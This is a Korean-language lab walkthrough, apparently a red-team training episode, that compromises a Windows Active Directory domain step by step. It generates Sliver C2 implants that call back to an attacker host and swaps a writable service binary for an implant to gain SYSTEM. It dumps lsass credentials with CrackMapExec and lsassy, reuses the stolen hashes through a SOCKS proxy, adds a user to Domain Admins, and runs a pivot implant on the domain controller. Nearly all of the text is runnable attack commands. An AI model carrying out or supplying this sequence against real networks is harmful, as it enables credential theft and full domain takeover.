Hacking Windows Domain Active Directory Series - Episode 04
Hacking Windows Domain Active Directory Series - Episode 04
In this document, the following attack scenarios were covered:
- Sliver C2 Commands Usage
- Windows Privilege Escalation with SharpUp (Sliver C2 Armory)
- Execute-Assembly with Sliver C2 - C# .NET binaries in-memory Execution
- Socks5 Proxy with Sliver C2 - External Tooling via Proxychains
- TCP Pivot with Sliver C2 - Reverse shell outbound from Restricted Network
- Credentials Spraying and Credentials Dumping with CrackMapExec (CME)
1. Sliver C2 설정 및 시작
sliver c2 를 설치하지 않고 github 에서 실행 파일을 다운로드 했다.
아래와 같이 서버를 실행하자.
참고로 주소는 127.0.0.1 로 해도 된다.
./sliver-server_linux
new-operator -l 192.168.50.9 -n netwaif
multiplayer
아래와 같이 클라이언트를 실행하자.
./sliver-client_linux import netwaif_192.168.50.9.cfg
./sliver-client_linux
https
jobs
만약 다른 포트를 이용할때는 아래 명령을 참고하자.
https -l 8001
generate --http 192.168.50.9
만약 다른 포트를 이용할때는 아래 명령을 참고하자.
generate --http 192.168.50.9:8001
생성된 exe 파일을 target pc(10.0.2.9, 192.168.50.11) 로 보내면 된다.
session 이 연결 되면 계정 정보를 검색해 보자.
execute -o net user ava /domain
execute -o net localgroup Administrators
ava는 특별한 권한이 없는 도메인 사용자 계정이다.
2. Sliver 에서 SharpHound.exe 실행
도메인 정보를 조사하기 위해 칼리 에서 SharpHound.exe를 다운로드 하자.
sliver 에서 아래 명령어를 이용해서 SharpHound.exe를 실행할수 있다.
execute-assembly /root/ActiveDirectory/Episode04/sharphound/SharpHound.exe CollectionMethod All
download 20230928120429_BloodHound.zip
BloodHound 에서 도메인과 사용자 계정 정보를 조사하자.
3. 권한 상승
다시 칼리 sliver 로 돌아와서 아래 명령어를 실행하자.
armory
armory install sharpup
sharpup
sharpup audit
명령어를 실행하면 hijackable dll 목록이나 수정 가능한 바이너리 목록이 출력된다.
이 시나리오 에서는 abyss web server 를 설치 했고 C:\Abyss Web Server\abyssws.exe 파일이 수정 가능한 서비스로 검색된다.
sliver 에서 아래 명령어로 서비스를 start, stop 할수 있는지 확인해 보자.
execute -o net start "AbyssWebServer"
execute -o net stop "AbyssWebServer"
이 시나리오 ava 유저로 AbyssWebServer 서비스를 start, stop 할 수 있다.
(실제 테스트에서는 gpo로 일반 유저에게 특정 서비스를 start, stop 하는 권한을 주지 못했다.)
abyssws.exe 파일을 백업하고 payload 로 바꾸자.
mv "C:\\Abyss Web Server\\abyssws.exe" "C:\\Abyss Web Server\\abyssws.exe.bak"
generate --http 192.168.50.9 --format service
upload /root/ActiveDirectory/Episode04/THIRSTY_OUTHOUSE.exe "C:\\Abyss Web Server\\abyssws.exe"
ls "C:\\Abyss Web Server"
execute -o net start "AbyssWebServer"
이제 시스템 권한으로 세션이 생성 됬다.
이 세션으로 로컬 Administrator 패스워드를 변경 하자.
execute -o net user Administrator mypassword2@
execute -o net localgroup administrators
execute -o net user administrator
sliver 밖에서 crackmapexec 를 이용해서 연결이 잘 되는지 확인해 보자.
crackmapexec smb 192.168.50.11 -u Administrator -p mypassword2@ -d .
관리자 계정을 나타내는 (Pwn3d!) 가 확인 된다.
4. crackmapexec를 이용한 lsass 메모리 덤프
이제 crackmapexec를 이용해서 lsass 메모리를 덤프하자.
crackmapexec smb 192.168.50.11 -u Administrator -p mypassword2@ -d . --list-modules
crackmapexec smb 192.168.50.11 -u Administrator -p mypassword2@ -d . -M lsassy
도메인 내에 다른 유저 bross 에 대한 패스워드(해쉬값)가 검색 됬다.
5. smb 공유 폴더 나열 및 sliver 프록시 설정
smbmap -u bross -p 'aad3c435b514a4eeaad3b935b51304fe:해쉬값' -d rts.local -H 192.168.50.11
sliver로 가서 dc 서버 주소를 확인하자.
execute -o ipconfig /all
에서 dns servers 를 확인하면 된다.
execute -o arp -a
sliver 밖으로 나가서 targets.txt 파일을 만들자.
192.168.50.11
10.0.2.7
10.0.2.15
sliver로 가서 socks5 proxy 를 실행하자.
socks5 -h
socks5 start
proxy 설정을 확인하자.
cat /etc/proxychains4.conf
proxychains smbmap -u bross -p 'aad3c435b514a4eeaad3b935b51304fe:해쉬값' -d rts.local --host-file targets.txt
출력을 확인해 보면 각 windows 의 smb 공유폴더 목록이 화면에 출력 된다.
이 시나리오 에서는 AppsBackup 이라는 공유 폴더가 보여서 그 폴더를 검색해 본다.
proxychains smbmap -u bross -p 'aad3c435b514a4eeaad3b935b51304fe:해쉬값' -d rts.local -H 10.0.2.15 -R AppsBackup
화면에 BeautyBooking-master.zip 파일이 출력된다.
압축을 해제하고 소스 코드에서 password 관련해서 검색을 해보자.
grep -iRn "password" .
데이타 베이스 관련 sql 계정을 찾을수 있다.
편의상 bross 라고 하자.
접속 확인을 해보자.
crackmapexec smb 192.168.50.11 -u bross -p "mypassword1\!"
proxychains crackmapexec smb targets.txt -u bross -p "mypassword1\!"
개발서버(10.0.2.15) 관리자 인것을 확인 했다.
이제 crackmapexec를 이용해서 개발서버(10.0.2.15) 에서 lsass 메모리를 덤프하자.
proxychains crackmapexec smb 10.0.2.15 -u bross -p "mypassword1\!" -M lsassy
도메인 내에 새로운 계정 정보를 얻었다.
편의상 bross 라고 하자.
dc에 이 계정을 확인해 보자.
proxychains crackmapexec smb 10.0.2.7 -u bross -H 해쉬값
dc 관리자 인것을 확인할수 있다.
6. sliver pivot 과 dc 에 임플란트 전송
sliver 로 가서
pivots
help pivots
pivot listener 를 시작하자.
pivots tcp
pivots
generate --tcp-pivot 10.0.2.9:9898
이제 생성된 임플란트를 dc 로 보내면 되고 트래픽이 dc > 10.0.2.9 > 192.168.50.9(칼리) 로 전달 된다.
proxychains crackmapexec smb 10.0.2.7 -u bross -H 해쉬값 --put-file /root/ActiveDirectory/Episode04/LOCAL_CAROTENE.exe C:\\Windows\\payload.exe
작동하지 않는다.
그러면 ava 를 도메인 관리자롤 추가해서 sliver에서 시도 하자.
proxychains crackmapexec smb 10.0.2.7 -u bross -H 해쉬값 -x "net group \"Domain Admins\" ava /add /domain"
확인해 보자.
proxychains crackmapexec smb 10.0.2.7 -u bross -H 해쉬값 -x "net group \"Domain Admins\""
이제 sliver 로 돌아가서 ava session 에서 임플란트를 전송하자.
upload /root/ActiveDirectory/Episode04/LOCAL_CAROTENE.exe C:\\Windows\\LOCAL_CAROTENE.exe
전송이 안된다.
system session 으로 전송하자.
sessions -i 세션아이디
upload /root/ActiveDirectory/Episode04/LOCAL_CAROTENE.exe C:\\Windows\\LOCAL_CAROTENE.exe
전송이 됬다.
ls \\\\10.0.2.7\\C$
출력이 안된다. ava session 으로 변경해 보자.
sessions -i 세션아이디
ls \\\\10.0.2.7\\C$
출력이 된다.
execute -o cmd.exe /k copy "C:\\Windows\\LOCAL_CAROTENE.exe" "\\\\10.0.2.7\\C$\\LOCAL_CAROTENE.exe"
복사가 됬다. 확인해 보자.
ls \\\\10.0.2.7\\C$
이제 임플란트를 실행하자.
execute -o cmd.exe /k "\\\\10.0.2.7\\C$\\LOCAL_CAROTENE.exe
실행이 안된다.
cme 를 이용해서 임플란트를 실행하자.
proxychains crackmapexec smb 10.0.2.7 -u ava -H 해쉬값 -x "cmd.exe /k C:\\LOCAL_CAROTENE.exe"
sliver 로 가보면 세션이 생성된 것을 확인할수 있다.